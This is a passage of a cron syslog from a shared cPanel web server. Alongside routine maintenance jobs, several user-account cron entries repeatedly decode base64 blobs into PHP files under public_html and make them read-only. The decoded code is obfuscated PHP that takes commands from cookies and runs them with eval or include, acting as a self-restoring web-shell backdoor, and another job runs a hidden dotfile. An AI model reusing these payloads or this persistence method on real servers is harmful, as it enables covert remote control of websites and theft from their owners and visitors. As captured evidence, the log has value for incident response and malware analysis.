AoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:31:01 medusa CROND[1403]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:31:01 medusa CROND[1407]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:31:01 medusa CROND[1409]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 15:32:01 medusa CROND[2986]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 15:32:01 medusa CROND[2988]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 15:32:01 medusa CROND[2989]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 15:32:01 medusa CROND[2990]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 15:32:01 medusa CROND[2991]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 15:32:01 medusa CROND[2992]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 15:32:01 medusa CROND[2993]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:32:01 medusa CROND[2994]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 15:32:01 medusa CROND[2995]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:32:01 medusa CROND[2997]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 15:32:01 medusa CROND[2998]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 15:32:01 medusa CROND[2999]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:32:01 medusa CROND[3001]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:33:01 medusa CROND[4770]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 15:33:01 medusa CROND[4772]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 15:33:01 medusa CROND[4774]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 15:33:01 medusa CROND[4775]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 15:33:01 medusa CROND[4776]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:33:01 medusa CROND[4777]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 15:33:01 medusa CROND[4778]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 15:33:01 medusa CROND[4779]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:33:01 medusa CROND[4780]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 15:33:01 medusa CROND[4781]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:33:01 medusa CROND[4782]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2Vk